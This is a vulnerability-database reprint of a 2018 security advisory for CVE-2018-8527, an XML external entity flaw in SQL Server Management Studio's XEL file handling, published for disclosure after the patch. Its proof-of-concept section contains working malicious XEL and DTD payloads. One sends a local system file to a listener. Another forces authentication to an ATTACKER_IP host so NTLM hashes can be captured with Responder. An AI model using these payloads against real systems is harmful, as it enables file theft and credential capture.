Lucene search
K

Microsoft SQL Server Management Studio 17.9 / 18.0 Preview 4 XML Injection

🗓️ 11 Oct 2018 00:00:00Reported by hyp3rlinxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 66 Views

Microsoft SQL Server Management Studio XML Injection Vulnerabilit

Related
Code
`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt  
[+] ISR: ApparitionSec   
[+] Zero Day Initiative Program  
  
  
[Vendor]  
www.microsoft.com  
  
  
[Product]  
SQL Server Management Studio 17.9   
SQL Server Management Studio 18.0 (Preview 4)  
  
SQL Server Management Studio is a software application first launched with Microsoft SQL Server 2005 that is used for configuring, managing, and administering  
all components within Microsoft SQL Server. The tool includes both script editors and graphical tools which work with objects and features of the server.  
  
  
  
[Vulnerability Type]  
XML External Entity Injection  
  
  
  
[CVE Reference]  
CVE-2018-8527  
  
  
[Security Issue]  
This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Microsoft SQL Server Management Studio.  
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  
  
The specific flaw exists within the handling of XEL files. Due to the improper restriction of XML External Entity (XXE) references, a specially crafted  
document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing.  
An attacker can leverage this vulnerability to disclose information in the context of the current process.  
  
  
  
[References]  
https://www.zerodayinitiative.com/advisories/ZDI-18-1131/  
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527  
  
  
  
[Exploit/POC]  
python -m SimpleHTTPServer (listens Port 8000)  
  
"evil.xel" (Extended Event Log File)  
  
  
<?xml version="1.0"?>  
<!DOCTYPE flavios [   
<!ENTITY % file SYSTEM "C:\Windows\system.ini">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
"payload.dtd"  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">  
%all;  
  
  
OR   
  
Steal NTLM hashes  
  
Kali linux  
  
/usr/share/responder/tools  
  
responder -I eth0 -rv  
  
"evil.xel"  
  
<?xml version="1.0"?>  
<!DOCTYPE dirty0tis [   
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">  
%dtd;]>  
  
  
Result: Forced authentication and NTLM hash captured   
  
  
[Network Access]  
Remote  
  
  
  
Notification: Trend Micro Zero Day Initiative Program  
Vendor reply: Release of advisory patch Tuesday : October 9, 2018  
October 10, 2018 : Public Disclosure  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Oct 2018 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.4785
66